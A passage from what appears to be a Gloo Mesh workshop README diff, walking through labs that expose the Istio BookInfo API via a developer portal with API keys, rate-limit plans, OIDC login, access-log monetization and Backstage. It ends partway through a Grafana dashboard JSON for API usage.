reviews","items":{"$ref":"#/components/schemas/Review"},"type":"array"}},"required":["id","reviews"],"type":"object"},"Rating":{"description":"Rating + of a product","properties":{"color":{"description":"Color in which stars should + be displayed","enum":["red","black"],"type":"string"},"stars":{"description":"Number + of stars","format":"int32","maximum":5,"minimum":1,"type":"integer"}},"required":["stars","color"],"type":"object"},"Review":{"description":"Review + of a product","properties":{"rating":{"$ref":"#/components/schemas/Rating"},"reviewer":{"description":"Name + of the reviewer","type":"string"},"text":{"description":"Review text","type":"string"}},"required":["reviewer","text"],"type":"object"}}},"externalDocs":{"description":"Learn + more about the Istio BookInfo application","url":"https://istio.io/docs/samples/bookinfo.html"},"info":{"description":"This + is the API of the Istio BookInfo sample application.","license":{"name":"Apache + 2.0","url":"http://www.apache.org/licenses/LICENSE-2.0.html"},"termsOfService":"https://istio.io/","title":"BookInfo + API","version":"1.0.0"},"openapi":"3.0.3","paths":{"/products":{"get":{"description":"List + all products available in the application with a minimum amount of information.","operationId":"getProducts","responses":{"200":{"content":{"application/json":{"schema":{"items":{"$ref":"#/components/schemas/Product"},"type":"array"}}},"description":"successful + operation"}},"summary":"List all products","tags":["product"]}},"/products/{id}":{"get":{"description":"Get + detailed information about an individual product with the given id.","operationId":"getProduct","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductDetails"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get individual + product","tags":["product"]}},"/products/{id}/ratings":{"get":{"description":"Get + ratings for a product, including stars and their color.","operationId":"getProductRatings","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductRatings"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get ratings + for a product","tags":["rating"]}},"/products/{id}/reviews":{"get":{"description":"Get + reviews for a product, including review text and possibly ratings information.","operationId":"getProductReviews","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductReviews"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get reviews + for a product","tags":["review"]}}},"servers":[{"url":"/api/v1"}],"tags":[{"description":"Information + about a product (in this case a book)","name":"product"},{"description":"Review + information for a product","name":"review"},{"description":"Rating information + for a product","name":"rating"}]}' + servedBy: + - destinationSelector: + port: + number: 9080 + selector: + cluster: cluster1 + name: productpage + namespace: bookinfo-frontends +``` + +Note that you can create the `APIDoc` manually to allow you: +- to provide the OpenAPI document as code +- to declare an API running outside of Kubernetes (`ExternalService`) +- to target a service running on a different cluster (`VirtualDestination`) +- ... + +We can now expose the API through Ingress Gateway using a `RouteTable`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the API without authentication", () => { + it('Checking text \'The Comedy of Errors\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', body: 'The Comedy of Errors', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +[{"id": 0, "title": "The Comedy of Errors", "descriptionHtml": "Wikipedia Summary: The Comedy of Errors is one of William Shakespeare's early plays. It is his shortest and one of his most farcical comedies, with a major part of the humour coming from slapstick and mistaken identity, in addition to puns and word play."}] +``` + +You generally want to secure the access. Let's use API keys for that. + +You need to create an `ExtAuthPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API unauthorized", () => { + it('Response code is 401', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', retCode: 401 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-unauthorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +The access is refused (401 response): + +```http +HTTP/2 401 +www-authenticate: API key is missing or invalid +date: Wed, 05 Apr 2023 08:13:11 GMT +server: istio-envoy +``` + +Let's create an API key for a user `user1`: + +```bash +export API_KEY_USER1=apikey1 +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API authorized", () => { + it('Response code is 200', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-authorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We'll see later that the API keys can be created on demand by the end user through the developer portal (and stored on Redis for better scalability). + +So, we've secured the access to our API, but you generally want to limit the usage of your API. + +We're going to create 3 usage plans (bronze, silver and gold). + +The user `user1` is a gold user (`gold` base64 is `Z29sZA==`). + +The `X-Solo-Plan` is created by the `ExtAuthPolicy` we have created earlier. + +Then, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/_GsECm06AgQ "Video Link") + + +You can also expose external APIs. + +Let's create an external service to define how to access the host [openlibrary.org](https://openlibrary.org/): + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("APIDoc has been created", () => { + it('APIDoc is present', () => helpers.k8sObjectIsPresent({ context: process.env.CLUSTER1, namespace: "bookinfo-frontends", k8sType: "apidoc", k8sObj: "openlibrary" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/apidoc-created.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Finally, you can create a new `RouteTable` to stitch together the `/search.json` path with the existing Bookinfo API: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the openlibrary API", () => { + it('Checking text \'language\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v2/search.json?title=The%20Comedy%20of%20Errors&fields=language&limit=1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], body: 'language', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/access-openlibrary-api.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get something like that: + +```json,nocopy +{ + "numFound": 202, + "start": 0, + "numFoundExact": true, + "docs": [ + { + "language": [ + "ger", + "und", + "eng", + "tur", + "ita", + "fre", + "tsw", + "heb", + "spa", + "nor", + "slo", + "chi", + "mul", + "esp", + "dut", + "fin" + ] + } + ], + "num_found": 202, + "q": "", + "offset": null +} +``` + +Note we've also exposed the `/authors/{olid}.json` path to demonstrate how we can use regular expressions to capture path parameters. + +You can try it out with the following command: + +```shell +curl -k -H "api-key: ${API_KEY_USER1}" "https://cluster1-bookinfo.example.com/api/bookinfo/v2/authors/OL23919A.json" +``` + + + +## Lab 15 - Expose the dev portal backend +[VIDEO LINK](https://youtu.be/mfXww6udYFs "Video Link") + + +Now that your API has been exposed securely and our plans defined, you probably want to advertise it through a developer portal. + +Two components are serving this purpose: +- the Gloo Platform portal backend which provides an API +- the Gloo Platform portal frontend which consumes this API + +In this lab, we're going to setup the Gloo Platform portal backend. + +The Gateway team should create a parent `RouteTable` for the portal. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'portal config not found\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: 'portal config not found', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-backend/tests/access-portal-api-no-auth-no-config.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +{"message":"portal config not found for host: ***"} +``` + +You can see that no portal configuration has been found. + +We'll create it later. + + + +## Lab 16 - Deploy and expose the dev portal frontend + + +The developer frontend is provided as a fully functional template to allow you to customize it based on your own requirements. + + + +Let's deploy it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal frontend without authentication", () => { + it('Checking text \'Developer Portal\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/index.html', body: 'Developer Portal', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-frontend/tests/access-portal-frontend-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=300 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We need to secure the access to the portal frontend. + +First, you need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl --context ${CLUSTER1} apply -f - < + +Note that The `ExtAuthPolicy` is enforced on both the `portal-frontend` and `portal-server` `RouteTables`. + +Finally, you need to create a CORS Policy to allow the portal frontend to send API calls the `bookinfo` API. + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/fipCEZqijcQ "Video Link") + + +In the previous steps, we've used Kubernetes secrets to store API keys and we've created them manually. + +In this steps, we're going to configure the developer portal to allow the user to create their API keys themselves and to store them on Redis (for better scalability and to support the multicluster use case). + +You need to update the `ExtAuthPolicy` (to remove the `k8sSecretApikeyStorage` block): + +```bash +kubectl --context ${CLUSTER1} apply -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'null\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: '[]', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-self-service/tests/access-portal-api-no-auth-empty.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Users will authenticate on the frontends using OIDC and get access to specific APIs and plans based on the claims they'll have in the returned JWT token. + +You need to create a `PortalGroup` object to define these rules: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + +If you click on the `LOGIN` button on the top right corner, you'll be redirected to keycloak and should be able to auth with the user `user1` and the password `password`. + +Now, if you click on the `VIEW APIS` button, you should see the `Bookinfo REST API`. + +![Dev Portal APIs](images/steps/dev-portal-self-service/apis.png) + +Then, you can open the drop down menu by clicking on `user1` on the top right corner and select `API Keys`. + +![Dev Portal API keys](images/steps/dev-portal-self-service/api-keys.png) + +As you can see, you have access to the `Gold` plan and can create an API key for it. Click on the `+ADD KEY` button. + +Give it a name and click on `GENERATE KEY`. + +![Dev Portal API key](images/steps/dev-portal-self-service/api-key.png) + +Copy the key. If you don't do that, you won't be able to see it again. You'll need to create a new one. + +You can now use the key to try out the API. + +You'll need to use the `Swagger View` and then to click on the `Authorize` button to paste your API key. + +Before we continue, let's update the API_KEY_USER1 variable with its current value: + +```bash +export API_KEY_USER1=$(curl -k -s -X POST -H 'Content-Type: application/json' -d '{"usagePlan": "gold", "apiKeyName": "key1"}' -H "Cookie: ${USER1_TOKEN}" "https://cluster1-portal.example.com/portal-server/v1/api-keys" | jq -r '.apiKey') +echo API key: $API_KEY_USER1 +``` + + + + + +## Lab 18 - Dev portal monetization +[VIDEO LINK](https://youtu.be/VTvQ7YQi2eA "Video Link") + + +The recommended way to monetize your API is to leverage the usage plans we've defined in the previous labs. + +In that case, you don't need to measure how many calls are sent by each user. + +But if you requires fine grained monetization, we can deliver this as well. + +The `portalMetadata` section of the `RouteTable` we've created previously is used to add some metadata in the access logs. + +You can configure the access logs to take advantage of the metadata: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Monetization is working", () => { + it('Response contains all the required monetization fields', () => { + const response = helpers.getOutputForCommand({ command: `curl -k -H \"api-key: ${process.env.API_KEY_USER1}\" https://cluster1-bookinfo.example.com/api/bookinfo/v1` }); + const output = JSON.parse(helpers.getOutputForCommand({ command: `kubectl --context ${process.env.CLUSTER1} -n istio-gateways logs -l istio=ingressgateway --tail 1` })); + expect(output.usage_plan).to.equals("gold"); + expect(output.api_product_id).to.equals("bookinfo"); + expect(output.user_id).to.equals("user1@example.com"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-monetization/tests/monetization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 3m mocha ./test.js --timeout 10000 --retries=150 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + + +## Lab 19 - Deploy Backstage with the backend plugin + + +To allow the Backstage backend plugin to communicate with the Gloo Mesh Portal Server through the Istio Ingress Gateway, we need to create an `ExternalService` and an `ExternalEndpoint` objects. + +```bash +kubectl apply --context ${CLUSTER1} -f - <= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "orange", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 3, + "x": 16, + "y": 1 + }, + "id": 84, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "bars", + "fillOpacity": 17, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 4, + "pointSize": 15, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 7, + "x": 0, + "y": 5 + }, + "id": 197, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + } + }, + "decimals": 0, + "mappings": [], + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 4, + "x": 7, + "y": 5 + }, + "id": 2, + "interval": "1h", + "options": { + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "pieType": "pie", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "API Product distribution", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "piechart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 5 + }, + "id": 196, + "options": { + "dedupStrategy": "none", + "enableLogDetails": true, + "prettifyLogMessage": false, + "showCommonLabels": false, + "showLabels": false, + "showTime": false, + "sortOrder": "Descending", + "wrapLogMessage": false + }, + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 2, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n*\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp)", + "refId": "A", + "selectedFormat": 2 + } + ], + "title": "Recent requests", + "transformations": [ + { + "id": "organize", + "options": { + "excludeByName": { + "Body": true, + "ServiceName": true, + "SeverityNumber": true, + "SeverityText": true, + "SpanId": true, + "TraceFlags": true, + "TraceId": true + }, + "indexByName": {}, + "renameByName": {} + } + } + ], + "type": "logs" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 67, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 3, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "bytes" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 11, + "x": 0, + "y": 12 + }, + "id": 201, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['bytes_sent'] as bytes_sent,\n $__timeInterval(Timestamp) AS time,\n count(*) AS bytes\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n bytes_sent,\n time\nORDER BY \n time ASC\n", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Bytes sent over time", + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 12 + }, + "id": 132, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": 